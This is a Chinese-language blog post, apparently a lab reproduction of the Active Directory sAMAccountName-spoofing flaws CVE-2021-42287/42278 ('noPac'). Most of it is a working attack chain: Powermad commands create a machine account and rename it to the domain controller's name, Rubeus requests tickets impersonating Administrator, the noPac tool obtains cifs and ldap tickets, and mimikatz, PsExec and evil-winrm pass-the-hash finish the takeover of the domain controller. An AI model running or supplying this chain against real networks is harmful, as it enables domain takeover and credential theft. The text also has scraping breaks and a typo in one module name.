距离漏洞披露已经过了许久,现在终于有些空余时间用于学习复现这两个漏洞。
$
结尾,但AD并未对域内机器账户名进行验证。TGS_REP
阶段加密TGS Ticket
时,无法找到该账户利用机器账户hash加密,DC便使用自己的hash加密TGS Ticket
,提供一个属于该账户的PAC
,我们便可得到一个高权限的ST。servicePrincipalName
属性sAMAccountName
修改为DC的机器账户名,但不带$sAMAccountName
修改为其他值,不能与DC的机器账户名重复。利用原理:如果域内存在一台域控名为DC(机器账户为DC)的域控机,此时攻击者可利用CVE-2021-42287漏洞去申请一个机器账户,再将机器账户的sAMAccountName修改为DC。然后再利用这个机器账户去申请一个TGT票据,再将DC的sAMAccountName修改为其他。修改结束后再利用这个TGT通过S4U2Self去申请ST票据,此时KDC识别TGT票据内用户名为DC,检索到域内并未存在DC用户,但存在DC用户(检索的依据为sAMAccountName值),于是KDC通过DC机器的hash加密票据,我们便可成功拿到DC的权限。
拿到域成员权限后,利用Powermad.ps1创建机器用户
Import-Module Poweremad.ps1
New-MachineAccount -MachineAccount Nayon
验证是否添加成功
net group "domain computers" /domain
注册机器账户后,会自动在Nayon$
的名下注册SPN服务,此时我们需要擦除,免于影响我们接下来的操作。
Get-DomainObject "CN=Nayon,CN=Computers,DC=attack",DC="local" #查看Nayon$用户下的信息
Set-DomainObject "CN=Nayon,CN=Computers,DC=attack,DC=local" -Clear 'serviceprincipalname' -Verbose #擦除SPN服务
此时已将记录清除。
samaccountname
伪造机器账户名Set-MachineAccountAttribute -MachineAccount 机器账户名 -Value "要伪造的机器账户名(无$)" -Attribute
samaccountname -Verbose
net group "domain computers" /domain
此时可以看到,我们的Nayon$
用户,在修改了samaccountname
值后,用户名已改为DC
。
由于知道机器账户的明文密码,我们可以直接使用Rubeus申请TGT票据
Rubeus.exe asktgt /user:DC /password:******* /domain:attack.local /dc:attack.local /nowrap
注: nowrap 选项,票据不换行,便于我们导出为文件
samaccountname
值将拿到的票据保存,并继续修改Nayon$
用户的samaccountname
,使其不为DC
Set-MachineAccountAttribute -MachineAccount Nayon -Value "Nayon" -Attribute
利用Rubeus实现
Rubeus.exe s4u /self /impersonateuser:"Administrator"
/altservice:"cifs/dc.attack.local" /dc:"dc.attack.local" /ptt
/ticket:xxxxxxxxxxxxxxxxxxxxxxxx
此时已拥有访问dc的共享目录权限。
dir \\dc\c$
使用noPac项目实现:
https://github.com/cube0x0/noPac
项目下载地址,需本地自行编译。
./noPac.exe -domain attack.local -user Webmanager -pass 'Password@1!' /dc dc.attack.local
/mAccount test /mPassword test0123 /service cifs /ptt
若要通过此方式获得shell,在前一步仅获得cifs
服务的权限还不够,我们还需要申请拿到host服务的权限
PsExec64.exe \\dc.attack.local cmd
想要拖取域内hash,我们可以利用漏洞申请ldap
服务的ST票据,PTT加载后,通过mimikatz申请
./noPac.exe -domain attack.local -user Webmanager -pass 'Password@1!' /dc dc.attack.local /mAccount test /mPassword test0123 /service ldap /ptt
拿到hash后利用Evil-Winrm
登陆域控getshell
,当然,此处也可使用impacket
套件。
evil-winrm -i 10.10.10.165 -u Administrator -H "dbf36575210cc5a38ab4050cc6a2e9aa"